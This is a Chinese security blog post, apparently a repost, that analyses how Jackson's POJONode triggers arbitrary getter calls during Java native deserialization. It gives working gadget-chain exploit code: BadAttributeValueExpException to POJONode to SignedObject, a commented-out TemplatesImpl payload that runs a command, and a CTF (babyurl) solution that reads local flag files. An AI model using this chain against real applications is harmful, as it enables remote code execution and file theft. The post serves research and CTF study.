jackson原生反序列化触发getter方法的利用与分析

jackson原生反序列化触发getter方法的利用与分析

原文:https://xz.aliyun.com/t/12509

首先要知道fastjson也有这个特性:反序列化调用任意类的getter方法的原理与细节

从最开始的fastjson < 1.2.48下的在JSONObject / JSONArray类反序列化过程没有安全检查的情况下通过BadAttributeValueExpException#readObject调用JSONObject#toString / JSONArray#toString方法也即是JSON#toString方法触发getter

再到fastjson >= 1.2.48下的存在有SecureObjectInputStream的安全检查的情况下,通过使用HashMap等等类创建一个reference的方式绕过resolveClass的检查触发getter

结论

  • jackson的POJONode方法可以任意调用getter

  • jackson序列化会任意调用getter

demo

demo (ObjectMapper.writeValueAsString()可将Jackson对象序列化为字符串,ObjectMapper.readValue()则反序列化)

jacksonTest.java

package com.yancao.ctf.qaq;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class jacksonTest {
public static void main(String[] args) throws JsonProcessingException {
Message message = new Message();
message.setCode(114514);
message.setDetail("thai want to test jackson");
ObjectMapper objectMapper = new ObjectMapper();
String s = objectMapper.writeValueAsString(message);
System.out.println("jackon string: " + s);
}
}

随便写个javaBean

Message.java

package com.yancao.ctf.qaq;
public class Message {
int code;
String detail;
Object data;
public Message() {
}
public void setCode(int code) {
this.code = code;
}
public void setDetail(String detail) {
this.detail = detail;
}
public void setData(Object data) {
this.data = data;
}
public int getCode() {
System.out.println("getCode");
return this.code;
}
public String getDetail() {
System.out.println("getDetail");
return this.detail;
}
public Object getData() {
System.out.println("getData");
return this.data;
}
public Message(int code, String detail) {
this.code = code;
this.detail = detail;
}
public Message(int code, String detail, Object data) {
this.code = code;
this.detail = detail;
this.data = data;
}
}

运行一下刚刚的jacksonTest,看看序列化的时候是否调用了javaBean的所有getter方法

image-20230808175250643

验证成功!

分析

jackson自身提供的反序列化->任意调用Getter(待补充)

看一下jackson在使用自身提供的反序列化入口时是怎么导致任意getter调用的

在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString方法

随便写个demo测试

可以看到调用栈:

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

image-20230808175803201

比较重要的是DefaultSerializerProvider#serializeValue

BeanSerializer#serialize

BeanSerializerBase#serializeFields

try {
for(int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) {
prop.serializeAsField(bean, gen, provider);
}
}

经过调试,这个地方是在遍历getter方法

image-20230808175856008

而最后是能够调用对应属性值的getter方法进行赋值

POJONode#toString->jackson自身提供的反序列化->任意调用Getter

观察网上很多exp,产生一个问题,也就是为什么POJONode类的toString方法能够调用对应类对象的getter方法呢?

POJONode中不存在有toString方法的实现,在其父类(其实是父类的父类)BaseJsonNode中存在有,因其为一个抽象类,所以选择使用POJONode这个没有实现toString方法的类进行利用

com.fasterxml.jackson.databind.node.BaseJsonNode#toString

public String toString() {
return InternalNodeMapper.nodeToString(this);
}

跟进去

com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString

public static String nodeToString(JsonNode n) {
try {
return STD_WRITER.writeValueAsString(n);
} catch (IOException var2) {
throw new RuntimeException(var2);
}
}

然后writeValueAsString就是jackson反序列化自带的入口了

在最前的Jackson的知识点中,提到了在将一个Bean对象序列化一个json串的使用常用的方法是writeValueAsString方法,并详细分析了,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用

也就是说

BadAttributeValueExpException.toString -> POJONode -> jackson反序列化->getter

exp

// 删除 jsonNode 的 writeReplace,不删除会报错
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");

signedObject是需要被你调用getter方法的类

作用

任意调用Getter的作用就是本身,往往用来构造反序列化链

signedObject#getObject

二次反序列化你懂的

参考巅峰极客2023 babyurl

exp

KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass("a");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// clazz.addConstructor(constructor);
// byte[][] bytes = new byte[][]{clazz.toBytecode()};
// TemplatesImpl templates = TemplatesImpl.class.newInstance();
// setValue(templates, "_bytecodes", bytes);
// setValue(templates, "_name", "xx");
// setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");
base64encode_exp(val);

templateImpl

参考巅峰极客2023 babyurl 非预期

exp

public static void main(String[] args) throws Exception {
URLHelper urlhelper = new URLHelper("netdoc:///");
// URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
urlhelper.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass("a");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// clazz.addConstructor(constructor);
// byte[][] bytes = new byte[][]{clazz.toBytecode()};
// TemplatesImpl templates = TemplatesImpl.class.newInstance();
// setValue(templates, "_bytecodes", bytes);
// setValue(templates, "_name", "xx");
// setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");
base64encode_exp(val);
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇